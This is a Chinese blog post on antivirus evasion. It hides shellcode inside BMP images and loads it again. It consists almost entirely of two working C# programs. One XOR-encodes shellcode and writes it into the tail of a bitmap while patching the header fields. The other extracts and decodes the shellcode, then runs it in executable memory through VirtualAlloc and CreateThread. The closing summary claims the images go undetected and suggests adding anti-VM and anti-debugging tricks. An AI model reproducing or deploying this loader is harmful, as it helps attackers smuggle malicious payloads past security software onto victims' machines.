首页 > 系统相关 >【免杀】图片隐写shellcode

【免杀】图片隐写shellcode

时间:2024-07-08 20:52:00浏览次数:8  
标签:IntPtr Console 免杀 隐写 Length byte shellcode UInt32

写入shellcode(C#):

using System;
using System.IO;

class Program
{
    private static bool IsBmpFile(string filePath)
    {
        try
        {
            using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            using (BinaryReader reader = new BinaryReader(stream))
            {
                string fileclass = "";
                for (int i = 0; i < 2; i++)
                {
                    fileclass += reader.ReadByte().ToString("X2");
                }

                return fileclass == "424D"; // 'BM' in hex
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"[!] Error reading file: {ex.Message}");
            return false;
        }
    }

    static void Main(string[] args)
    {
        string Image_File = "test.bmp"; // Update this to your BMP file path
        byte[] shellcode = new byte[893] { your shellcode };


        if (!IsBmpFile(Image_File))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: Not a valid BMP file.");
            return;
        }

        byte[] xBmp_Temp = File.ReadAllBytes(Image_File);
        if (xBmp_Temp.Length < (shellcode.Length + 54))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: The picture is too small, please choose a bigger picture!");
            return;
        }

        int start = xBmp_Temp.Length - shellcode.Length;
        for (int i = 0; i < shellcode.Length; i++)
        {
            byte t = (byte)(shellcode[i] ^ 0x99);
            xBmp_Temp[start + i] = t;
            if (i == 0)
            {
                Console.Write("[>] Injecting Encoded Shellcode (length {0}) : ", shellcode.Length);
            }
            if (i <= 16)
            {
                Console.Write($"{t:X2} ");
            }
        }

        using (FileStream fs = new FileStream(Image_File, FileMode.Open, FileAccess.Read))
        {
            byte[] array = new byte[4];
            fs.Seek(18, SeekOrigin.Begin);
            fs.Read(array, 0, 4);
            int width = BitConverter.ToInt32(array, 0);
            fs.Seek(22, SeekOrigin.Begin);
            fs.Read(array, 0, 4);
            int height = BitConverter.ToInt32(array, 0);

            int line = (shellcode.Length % width == 0) ? (shellcode.Length / width) : (shellcode.Length / width + 1);
            int new_height = height - line;
            byte[] intBuff = BitConverter.GetBytes(new_height);

            for (int i = 0; i < 4; i++)
            {
                xBmp_Temp[22 + i] = intBuff[i];
            }

            intBuff = BitConverter.GetBytes(shellcode.Length);
            for (int i = 0; i < 4; i++)
            {
                xBmp_Temp[2 + i] = intBuff[i];
            }
        }

        string out_path = Path.Combine(Environment.CurrentDirectory, "payload.bmp");
        File.WriteAllBytes(out_path, xBmp_Temp);

        Console.WriteLine($"\n[+] Shellcode injected successfully and saved to {out_path}");
    }
}

 loader加载器:

using System;
using System.IO;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    private static bool IsBmpFile(string filePath)
    {
        try
        {
            using (FileStream stream = new FileStream(filePath, FileMode.Open, FileAccess.Read))
            using (BinaryReader reader = new BinaryReader(stream))
            {
                string fileclass = "";
                for (int i = 0; i < 2; i++)
                {
                    fileclass += reader.ReadByte().ToString("X2");
                }

                return fileclass == "424D"; // 'BM' in hex
            }
        }
        catch (Exception ex)
        {
            Console.WriteLine($"[!] Error reading file: {ex.Message}");
            return false;
        }
    }

    static void Main(string[] args)
    {
        string Image_File = "payload.bmp"; // Update this to your modified BMP file path

        if (!IsBmpFile(Image_File))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: Not a valid BMP file.");
            return;
        }

        byte[] xBmp_Temp = File.ReadAllBytes(Image_File);

        // Extract the payload length from the BMP header
        int payloadLength = BitConverter.ToInt32(xBmp_Temp, 2);

        if (xBmp_Temp.Length < (payloadLength + 54))
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("[!] Error: The BMP file does not contain a valid payload.");
            return;
        }

        int start = xBmp_Temp.Length - payloadLength;
        byte[] extractedPayload = new byte[payloadLength];

        for (int i = 0; i < payloadLength; i++)
        {
            extractedPayload[i] = (byte)(xBmp_Temp[start + i] ^ 0x99);
        }

        // Store the extracted shellcode in a variable for later use
        byte[] shellcode = extractedPayload;

        Console.Write("[>] Extracted Shellcode (length {0}) : ", payloadLength);
        for (int i = 0; i < shellcode.Length; i++)
        {
            Console.Write($"{shellcode[i]:X2} ");
            if ((i + 1) % 16 == 0)
            {
                Console.WriteLine();
            }
        }

        try
        {
            // Allocate memory and execute the shellcode
            UInt32 MEM_COMMIT = 0x1000;
            UInt32 PAGE_EXECUTE_READWRITE = 0x40;
            IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            if (funcAddr == IntPtr.Zero)
            {
                throw new Exception("VirtualAlloc failed");
            }

            Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);

            IntPtr hThread = IntPtr.Zero;
            UInt32 threadId = 0;
            IntPtr pinfo = IntPtr.Zero;
            hThread = CreateThread(IntPtr.Zero, 0, funcAddr, pinfo, 0, ref threadId);
            if (hThread == IntPtr.Zero)
            {
                throw new Exception("CreateThread failed");
            }

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
        catch (Exception ex)
        {
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine($"[!] Error executing shellcode: {ex.Message}");
        }
    }
}

总结

图片基本是查杀不到,而loader调用了一些接口会被安全软件进行动调,需要加上一些对抗虚拟机和反动调。

标签:IntPtr,Console,免杀,隐写,Length,byte,shellcode,UInt32
From: https://www.cnblogs.com/trymonoly/p/18290675

相关文章

  • safe_shellcode
    [HNCTF2022Week1]safe_shellcode思路下载附件,名称为shellcoder,很明显的shellcode提示。判断题目解法可能是shellcode利用常规流程查看保护发现存在NX保护,但是让我们以shellcode的思路去解题,则可能存在修改权限的函数mprotectida打开分析分析代码,发现存在一个mprotect函......
  • 【网络安全】简单的免杀方法(非常详细)零基础入门到精通,收藏这一篇就够了_免杀 最难
    一、免杀的概念什么是免杀?免杀,也就是反病毒(AntiVirus)与反间谍(AntiSpyware)的对立面,英文为Anti-AntiVirus(简写VirusAV),逐字翻译为“反-反病毒”,翻译为“反杀毒技术”。通俗点讲,也就是一个被杀软报毒的PE文件,经过一系列处理后,使杀软不认为他是一个病毒或木马。那么,啥是P......
  • 静态免杀-AES加密
    shellcodeaes加密写在前面针对国内主流的杀毒,360、火绒静态对默认的shellcode的检测是非常敏感的,这里推荐使用aes加密来对shellcode进行加密达到静态规避的效果1、aes定义贴了个链接,想要更深的了解可以自行检索一下简述AES加密算法2、推荐项目https://github.com/xf55......
  • 【图像隐写】基于Jsteg算法实现JPEG图像信息隐藏,可设置DCT系数 嵌入率附Matlab代码
     ✅作者简介:热爱科研的Matlab仿真开发者,修心和技术同步精进,代码获取、论文复现及科研仿真合作可私信。......
  • Csharp Base64 隐写.md
    Csharp(C#.net)Base64隐写最近被拉去报名参加CTF比赛,赶鸭子上架,趁着端午假期在网上做了做题,有一些题需要用到编程,网上介绍的一般都是Python写的,自己平时鼓捣的后端语言只有C#,python的脚本看得一知半解,有多函数还得去查阅用法,非常不方便,便想试着用C#写写试试,其实C#也支持在vsco......
  • 【CTF MISC】XCTF GFSJ0249 misc_pic_again Writeup(LSB隐写+ZIP压缩包+反汇编)
    misc_pic_againflag=hctf{[a-zA-Z0-9~]*}解法用binwalk扫描,找到zip压缩包。binwalk719af25af2ca4707972c6ae57060238e.png用foremost提取,得到一张看起来一样的图片。foremost719af25af2ca4707972c6ae57060238e.png-o719再次用binwalk扫描,又找到......
  • 【护网必备】OA解密|木马免杀|攻击溯源|AI分析|漏洞扫描|内存马
    项目介绍本工具是一款功能强大的网络安全综合工具,旨在为安全从业者、红蓝对抗人员和网络安全爱好者提供全面的网络安全解决方案。它集成了多种实用功能,包括解密、分析、扫描、溯源等,为用户提供了便捷的操作界面和丰富的功能选择。项目优势强大全面:每个功能相较于同类型工具......
  • Hershell反向shell生成器+msf加密通信免杀
    转自:https://www.cnblogs.com/Chuantouli/p/12298579.html简介 Hershell1Hershell(<ahref="github.com/sysdream/hershell" target="_blank" rel="noopener">github.com/sysdream/hershell</a>)是基于golang开发的一款反向shell生成......
  • [GDOUCTF 2023] Shellcode
    [GDOUCTF2023]Shellcoderet2shellcode|shellcodeint__fastcallmain(intargc,constchar**argv,constchar**envp){charbuf[10];//[rsp+6h][rbp-Ah]BYREFsetbuf(stdin,0LL);setbuf(stderr,0LL);setbuf(stdout,0LL);mprotect((&stdout......
  • 【免杀】-哥斯拉魔改(入门)
    目录魔改哥斯拉-JAR反编译打包构建1、反编译Jar2、新建项目,lib文件夹,添加源码3、配置模块工件4、简单测试一下关闭哈希效验魔改哥斯拉-防识别-打乱特征指纹抓包获取流量特征哥斯拉的三个强特征修改强特征魔改哥斯拉-防查杀-新增后门插件1、获取shell生成逻辑2、......